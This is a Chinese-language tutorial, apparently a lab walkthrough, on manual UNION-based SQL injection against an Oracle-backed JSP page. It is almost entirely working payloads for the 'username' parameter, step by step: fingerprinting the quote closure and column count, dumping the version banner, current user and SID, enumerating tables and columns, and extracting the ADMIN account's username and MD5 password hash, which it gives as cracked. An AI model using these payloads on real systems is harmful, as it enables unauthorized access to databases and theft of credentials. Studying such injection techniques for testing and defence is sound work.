大哥带的Orchel数据库的注入

0X01 先进行判断

a.jsp?username=SMITH and 1=1

发现单引号闭合我们尝试构造闭合存在注入

a.jsp?username=SMITH' and '1'='1 正确
a.jsp?username=SMITH' and '1'='2 错误

0X02构造语句判断

a.jsp?username=SMITH' order by 8-- 正确 
a.jsp?username=SMITH' order by 9-- 错误

用null 判断那个字段是字符型第2 3 个字段为字符型

a.jsp?username=SMITH' union select null,'null',null,null,null,null,null,null from dual-- 正确

a.jsp?username=SMITH' union select null,null,'null',null,null,null,null,null from dual-- 正确

a.jsp?username=SMITH' union select 'null',null,null,null,null,null,null,null from dual-- 错误

0x03获取一些信息

数据库

a.jsp?username=SMITH' union select null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null from dual--

?username=SMITH' union select null,(select banner from sys.v_$version where rownum=1),(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),null,null,null,null,null from dual--

当前用户名为SCOOTT

(select member from v$logfile where rownum=1) 操作系统平台 
(select instance_name from v$instance) 服务器sid

0X04爆第一个表 ADMIN

?username=SMITH' union select null,(select table_name from user_tables where rownum=1),null,null,null,null,null,null from dual--

爆第二个表 BONUS

a.jsp?username=SMITH' union select null,(select table_name from user_tables where rownum=1 and table_name not in('ADMIN')),null,null,null,null,null,null from dual--

第三个表后面的依次类推

a.jsp?username=SMITH' union select null,(select table_name from user_tables where rownum=1 and table_name not in('ADMIN','BONUS')),null,null,null,null,null,null from dual--

0X05爆列名

第一个 ID

a.jsp?username=SMITH' union select null,(select column_name from user_tab_columns where rownum=1and table_name=('ADMIN')),null,null,null,null,null,null from dual--

第二个 USERNAME

a.jsp?username=SMITH' union select null,(select column_name from user_tab_columns where rownum=1and table_name=('ADMIN') and column_name not in('ID')),null,null,null,null,null,null from dual--

第三个 PASSWORD

a.jsp?username=SMITH' union select null,(select column_name from user_tab_columns where rownum=1and table_name=('ADMIN') and column_name not in('ID','USERNAME')),null,null,null,null,null,null from dual--

0x06爆字段名 USERNAME=admin

/a.jsp?username=SMITH' union select null,(select USERNAME from ADMIN where rownum=1),null,null,null,null,null,null from dual--

a.jsp?username=SMITH' union select null,(select PASSWORD from ADMIN where rownum=1),null,null,null,null,null,null from dual--

PASSWORD=e10adc3949ba59abbe56e057f20f883e 123456

其他

列出数据库数据库名 SYS 其他数据库按照上面的推法第二个数据库SYSTEM 爆了所有的

a.jsp?username=SMITH' union select null,(SELECT DISTINCT owner FROM all_tables where rownum=1),null,null,null,null,null,null from dual--
a.jsp?username=SMITH' union select null,(SELECT DISTINCT owner FROM all_tables where rownum=1 and owner not in('SYS')),null,null,null,null,null,null from dual--
a.jsp?username=SMITH' union select null,(SELECT DISTINCT owner FROM all_tables where rownum=1 and owner not in('SYS','SYSTEM','EXFSYS','CTXSYS','XDB','MDSYS','APEX_030200','SCOTT','OLAPSYS')),null,null,null,null,null,null from dual--

列出表名一样 DUAL

/a.jsp?username=SMITH' union select null,(SELECT table_name FROM all_tables where rownum=1),null,null,null,null,null,null from dual--

列出列名

.jsp?username=SMITH' union select null,(SELECT column_name FROM all_tab_columns WHERE table_name='DUAL' and rownum=1),null,null,null,null,null,null from dual--
